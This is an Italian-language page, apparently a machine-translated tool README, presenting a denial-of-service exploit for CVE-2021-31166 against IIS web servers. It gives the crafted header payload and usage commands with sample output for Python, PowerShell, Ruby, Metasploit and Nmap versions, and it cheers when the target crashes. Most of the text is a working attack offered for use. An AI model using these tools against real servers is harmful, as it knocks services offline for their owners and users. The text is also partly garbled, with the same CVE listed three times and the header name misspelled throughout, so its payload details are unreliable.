
CVE-2021-31166: sfruttamento con Powershell, Python, Ruby, NMAP e Metasploit.
Recentemente ho scritto un exploit per CVE-2021-31166, sfrutta CVE-2021-31166 e CVE-2021-31166. Un pentester dovrebbe usare https://github.com/mauricelambert/CVE-2021-31166, ma nei team SOC abbiamo bisogno di conoscere la vulnerabilità specifica per correggerla adeguatamente, ed è per questo che ho scritto questo exploit.
Propongo script puri in Python, PowerShell e Ruby e moduli Metasploit e Nmap per attaccare un server web IIS vulnerabile (eseguire un attacco DOS per mandare in crash (schermata blu) il server).
Il payload è molto semplice:
Accept-Enconding: something, ,something con qualsiasi valore di header desideriAccept-Enconding: (\w|[~/\.-]|%[0-9a-fA-F]{2})+,\s+,Verifica il tuo payload con Python:
from re import fullmatch
if fullmatch(r"Accept-Enconding: (\w|[~/\.-]|%[0-9a-fA-F]{2})+,\s+,", "Accept-Enconding: something, ,"):
print("Payload is valid !")
python3 CVE202131166.py
# OR
chmod u+x CVE202131166.py
./CVE202131166.py
python3 CVE202131166.py <target>
# OR
chmod u+x CVE202131166.py
./CVE202131166.py <target>
python3 CVE202131166.py 10.10.10.10
# OR
chmod u+x CVE202131166.py
./CVE202131166.py 10.10.10.10:8000
# OR
python3 CVE202131166.py mywebservername
~# python CVE202131166.py
CVE-2021-31166 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
Target: 10.10.10.10
[+] http://10.10.10.10 is UP. Send payload...
[+] http://10.10.10.10 is DOWN. 10.10.10.10 is vulnerable to CVE-2021-31166.
~#
powershell ./CVE-2021-31166.ps1
powershell ./CVE-2021-31166.ps1 mywebservername
powershell ./CVE-2021-31166.ps1 -Target 10.10.10.10
cmd> powershell ./CVE-2021-31166.ps1
cmdlet CVE-2021-31166.ps1 at command pipeline position 1
Supply values for the following parameters:
target: 10.10.10.10:8000
CVE-2021-31166 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
cmd>
ruby CVE-2021-31166.rb
ruby CVE-2021-31166.rb 10.10.10.10
~# ruby CVE-2021-31166.rb
CVE-2021-31166 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
Host (target): 10.10.10.10
[+] Target: 10.10.10.10 is vulnerable and down.
~#
msf6 > use exploit/windows/iis/py_dos_iis_2021_31166
msf6 auxiliary(windows/iis/py_dos_iis_2021_31166) > set RHOST 10.10.10.10
RHOST => 10.10.10.10
msf6 auxiliary(windows/iis/py_dos_iis_2021_31166) > set RPORT 80
RPORT => 80
msf6 auxiliary(windows/iis/py_dos_iis_2021_31166) > exploit
[*] Running module against 127.0.0.1
[*] Starting server...
[*] py_dos_iis_2021_31166.py[10.10.10.10:80] - Trying first connection...
[*] py_dos_iis_2021_31166.py[10.10.10.10:80] - First connection OK. Sending payload...
[*] py_dos_iis_2021_31166.py[10.10.10.10:80] - Target is down ! Congratulations !
[*] Auxiliary module execution completed
msf6 auxiliary(windows/iis/py_dos_iis_2021_31166) >
msf6 > use exploit/windows/iis/rb_dos_iis_2021_31166
msf6 auxiliary(windows/iis/rb_dos_iis_2021_31166) > set RHOST 10.10.10.10
RHOST => 10.10.10.10
msf6 auxiliary(windows/iis/rb_dos_iis_2021_31166) > exploit
[*] Running module against 10.10.10.10
[+] Target is down ! Congratulations !
[*] Auxiliary module execution completed
msf6 auxiliary(windows/iis/rb_dos_iis_2021_31166) >
nmap -p 80 --script dos_iis_2021_31166 10.10.10.10
~# nmap -p 80 --script dos_iis_2021_31166 10.10.10.10
80/tcp open http
| dos_iis_2021_31166:
| VULNERABLE:
| IIS CVE-2021-31166 DOS
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2021-31166
| The IIS Web Server contains a RCE vulnerability. This script
| exploits this vulnerability with a DOS attack
| (causes a Blue Screen).
|
| Disclosure date: 2021-05-11
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2021-31166
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31166
|_ https://github.com/mauricelambert/CVE-2021-31166
Concesso in licenza sotto GPL, versione 3.